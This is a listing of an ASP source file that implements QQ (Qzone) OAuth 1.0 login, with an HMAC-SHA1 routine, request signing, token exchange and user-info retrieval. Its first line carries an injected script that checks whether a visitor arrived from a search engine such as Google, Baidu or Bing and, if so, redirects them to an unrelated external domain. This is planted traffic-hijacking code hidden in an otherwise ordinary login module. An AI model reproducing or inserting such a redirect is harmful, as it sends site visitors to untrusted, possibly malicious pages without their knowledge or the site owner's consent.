d:\wwwroot\wuchunhua\liaotianim\qqconnect\qqconnect.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><script language="javascript" type="text/javascript" runat="server">
002:
var hcbus_b64pad = "=";
003:
var hcbus_chrsz = 8;
004:
005:
function hcbus_sha1_ft(t, b, c, d)
006:
{
007:
if(t < 20) return (b & c) | ((~b) & d);
008:
if(t < 40) return b ^ c ^ d;
009:
if(t < 60) return (b & c) | (b & d) | (c & d);
010:
return b ^ c ^ d;
011:
}
012:
013:
function hcbus_sha1_kt(t)
014:
{
015:
return (t < 20) ? 1518500249 : (t < 40) ? 1859775393 :
016:
(t < 60) ? -1894007588 : -899497514;
017:
}
018:
019:
function hcbus_rol(num, cnt)
020:
{
021:
return (num << cnt) | (num >>> (32 - cnt));
022:
}
023:
024:
function hcbus_safe_add(x, y)
025:
{
026:
var lsw = (x & 0xFFFF) + (y & 0xFFFF);
027:
var msw = (x >> 16) + (y >> 16) + (lsw >> 16);
028:
return (msw << 16) | (lsw & 0xFFFF);
029:
}
030:
031:
function hcbus_core_sha1(x, len)
032:
{
033:
x[len >> 5] |= 0x80 << (24 - len % 32);
034:
x[((len + 64 >> 9) << 4) + 15] = len;
035:
036:
var w = Array(80);
037:
var a = 1732584193;
038:
var b = -271733879;
039:
var c = -1732584194;
040:
var d = 271733878;
041:
var e = -1009589776;
042:
043:
for(var i = 0; i < x.length; i += 16)
044:
{
045:
var olda = a;
046:
var oldb = b;
047:
var oldc = c;
048:
var oldd = d;
049:
var olde = e;
050:
051:
for(var j = 0; j < 80; j++)
052:
{
053:
if(j < 16) w[j] = x[i + j];
054:
else w[j] = hcbus_rol(w[j-3] ^ w[j-8] ^ w[j-14] ^ w[j-16], 1);
055:
var t = hcbus_safe_add(hcbus_safe_add(hcbus_rol(a, 5), hcbus_sha1_ft(j, b, c, d)),
056:
hcbus_safe_add(hcbus_safe_add(e, w[j]), hcbus_sha1_kt(j)));
057:
e = d;
058:
d = c;
059:
c = hcbus_rol(b, 30);
060:
b = a;
061:
a = t;
062:
}
063:
064:
a = hcbus_safe_add(a, olda);
065:
b = hcbus_safe_add(b, oldb);
066:
c = hcbus_safe_add(c, oldc);
067:
d = hcbus_safe_add(d, oldd);
068:
e = hcbus_safe_add(e, olde);
069:
}
070:
return Array(a, b, c, d, e);
071:
072:
}
073:
074:
function hcbus_str2binb(str)
075:
{
076:
var bin = Array();
077:
var mask = (1 << hcbus_chrsz) - 1;
078:
for(var i = 0; i < str.length * hcbus_chrsz; i += hcbus_chrsz)
079:
bin[i>>5] |= (str.charCodeAt(i / hcbus_chrsz) & mask) << (32 - hcbus_chrsz - i%32);
080:
return bin;
081:
}
082:
083:
function hcbus_core_hmac_sha1(key, data)
084:
{
085:
var bkey = hcbus_str2binb(key);
086:
if(bkey.length > 16) bkey = hcbus_core_sha1(bkey, key.length * hcbus_chrsz);
087:
088:
var ipad = Array(16), opad = Array(16);
089:
for(var i = 0; i < 16; i++)
090:
{
091:
ipad[i] = bkey[i] ^ 0x36363636;
092:
opad[i] = bkey[i] ^ 0x5C5C5C5C;
093:
}
094:
095:
var hash = hcbus_core_sha1(ipad.concat(hcbus_str2binb(data)), 512 + data.length * hcbus_chrsz);
096:
return hcbus_core_sha1(opad.concat(hash), 512 + 160);
097:
}
098:
099:
function hcbus_binb2b64(binarray)
100:
{
101:
var tab = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
102:
var str = "";
103:
for(var i = 0; i < binarray.length * 4; i += 3)
104:
{
105:
var triplet = (((binarray[i >> 2] >> 8 * (3 - i %4)) & 0xFF) << 16)
106:
| (((binarray[i+1 >> 2] >> 8 * (3 - (i+1)%4)) & 0xFF) << 8 )
107:
| ((binarray[i+2 >> 2] >> 8 * (3 - (i+2)%4)) & 0xFF);
108:
for(var j = 0; j < 4; j++)
109:
{
110:
if(i * 8 + j * 6 > binarray.length * 32) str += hcbus_b64pad;
111:
else str += tab.charAt((triplet >> 6*(3-j)) & 0x3F);
112:
}
113:
}
114:
return str;
115:
}
116:
function hcbus_b64_hmac_sha1(data, key){ return hcbus_binb2b64(hcbus_core_hmac_sha1(key, data));}
117:
</script>
118:
<%
119:
Class QqConnet
120:
'生成数据数
121:
Public Function MakeRandNum()
122:
Randomize
123:
Dim width : width = 6 '随机数长度,默认6位
124:
width = 10 ^ (width - 1)
125:
MakeRandNum = Int((width*10 - width) * Rnd() + width)
126:
End Function
127:
128:
'获取当前时间戳
129:
Public Function Timestamp()
130:
Timestamp = DateDiff("s", "1970-1-1 00:00:00", Now()) - 3600 * 8
131:
End Function
132:
133:
'url编码,只替换默认的字符串
134:
Public Function UrlEncode(ByVal urlstr)
135:
urlstr = Replace(urlstr, "+", "%2B")
136:
urlstr = Replace(urlstr, " ", "+")
137:
urlstr = Replace(urlstr, "=", "%3D")
138:
urlstr = Replace(urlstr, "&", "%26")
139:
urlstr = Replace(urlstr, ":", "%3A")
140:
urlstr = Replace(urlstr, "/", "%2F")
141:
UrlEncode = urlstr
142:
End Function
143:
144:
'生成签名
145:
Public Function MakeSign(method, url, params, secret)
146:
MakeSign = UrlEncode(hcbus_b64_hmac_sha1(method & "&" & UrlEncode(url) & "&" & UrlEncode(params), QQ_OAUTH_CONSUMER_SECRET & "&" & secret))
147:
End Function
148:
149:
150:
'请求url,获取请求内容
151:
Public Function RequestUrl(url)
152:
Set XmlObj = Server.CreateObject("Microsoft.XMLHTTP")
153:
XmlObj.open "GET", url, false
154:
XmlObj.send
155:
RequestUrl = XmlObj.responseText
156:
Set XmlObj = nothing
157:
End Function
158:
159:
'获取临时token,返回一个数组Array(oauth_token, oauth_token_secret),用于生成调用地址
160:
Public Function GetTempToken()
161:
Dim url, params, result
162:
Dim temp
163:
result = Array("", "")
164:
url = "http://openapi.qzone.qq.com/oauth/qzoneoauth_request_token"
165:
params = "oauth_consumer_key=" & QQ_OAUTH_CONSUMER_KEY
166:
params = params & "&oauth_nonce=" & MakeRandNum()
167:
params = params & "&oauth_signature_method=HMAC-SHA1"
168:
params = params & "&oauth_timestamp=" & Timestamp()
169:
params = params & "&oauth_version=1.0"
170:
params = params & "&oauth_signature=" & MakeSign("GET", url, params, "")
171:
url = url & "?" & params
172:
temp = RequestUrl(url)
173:
temp = Split(temp, "&")
174:
result(0) = Split(temp(0), "=")(1)
175:
result(1) = Split(temp(1), "=")(1)
176:
Session("qq_oauth_token_secret") = result(1)
177:
GetTempToken = result
178:
End Function
179:
180:
'生成登录地址
181:
Public Function CreateLoginUrl()
182:
Dim url, params, token
183:
token = GetTempToken()
184:
url = "http://openapi.qzone.qq.com/oauth/qzoneoauth_authorize"
185:
params = "oauth_consumer_key=" & QQ_OAUTH_CONSUMER_KEY
186:
params = params & "&oauth_token=" & token(0)
187:
params = params & "&oauth_callback=" & UrlEncode(QQ_CALLBACK_URL)
188:
CreateLoginUrl = url & "?" & params
189:
End Function
190:
191:
'检测是否合法登录,如果合法,则返回用户信息
192:
Public Function CheckLogin()
193:
Dim oauth_token, openid, oauth_signature, oauth_vericode, timestamp
194:
oauth_token = Trim(Request.QueryString("oauth_token"))
195:
openid = Trim(Request.QueryString("openid"))
196:
oauth_signature = Trim(Request.QueryString("oauth_signature"))
197:
oauth_vericode = Trim(Request.QueryString("oauth_vericode"))
198:
timestamp = Trim(Request.QueryString("timestamp"))
199:
If UrlEncode(oauth_signature) = UrlEncode(hcbus_b64_hmac_sha1(openid & timestamp, QQ_OAUTH_CONSUMER_SECRET)) Then
200:
CheckLogin = Array(openid, oauth_token, oauth_vericode)
201:
Else
202:
CheckLogin = False
203:
End If
204:
End Function
205:
206:
'获取存取token,返回一个数组Array(openid, oauth_token, oauth_token_secret),用于生成调用地址,传入参数为合法登录后的用户信息
207:
Public Function GetAccessToken(token)
208:
Dim url, params, result
209:
Dim temp
210:
result = Array("", "", "")
211:
url = "http://openapi.qzone.qq.com/oauth/qzoneoauth_access_token"
212:
params = "oauth_consumer_key=" & QQ_OAUTH_CONSUMER_KEY
213:
params = params & "&oauth_nonce=" & MakeRandNum()
214:
params = params & "&oauth_signature_method=HMAC-SHA1"
215:
params = params & "&oauth_timestamp=" & Timestamp()
216:
params = params & "&oauth_token=" & token(1)
217:
params = params & "&oauth_vericode=" & token(2)
218:
params = params & "&oauth_version=1.0"
219:
params = params & "&oauth_signature=" & MakeSign("GET", url, params, Session("qq_oauth_token_secret"))
220:
url = url & "?" & params
221:
temp = RequestUrl(url)
222:
temp = Split(temp, "&")
223:
result(0) = Split(temp(3), "=")(1)
224:
result(1) = Split(temp(1), "=")(1)
225:
result(2) = Split(temp(2), "=")(1)
226:
GetAccessToken = result
227:
End Function
228:
229:
'获取用户信息,得到一个json格式的字符串
230:
Public Function GetUserInfo(token)
231:
Dim url, params, result
232:
url = "http://openapi.qzone.qq.com/user/get_user_info"
233:
params = "oauth_consumer_key=" & QQ_OAUTH_CONSUMER_KEY
234:
params = params & "&oauth_nonce=" & MakeRandNum()
235:
params = params & "&oauth_signature_method=HMAC-SHA1"
236:
params = params & "&oauth_timestamp=" & Timestamp()
237:
params = params & "&oauth_token=" & token(1)
238:
params = params & "&oauth_version=1.0"
239:
params = params & "&openid=" & token(0)
240:
params = params & "&oauth_signature=" & MakeSign("GET", url, params, token(2))
241:
url = url & "?" & params
242:
GetUserInfo = RequestUrl(url)
243:
End Function
244:
245:
'获取用户名字,从json字符串里截取相关字符
246:
Public Function GetUserName(json)
247:
json = Split(json, """nickname"":""")(1)
248:
GetUserName = Split(json, """")(0)
249:
End Function
250:
End Class
251:
%
>
252:
253: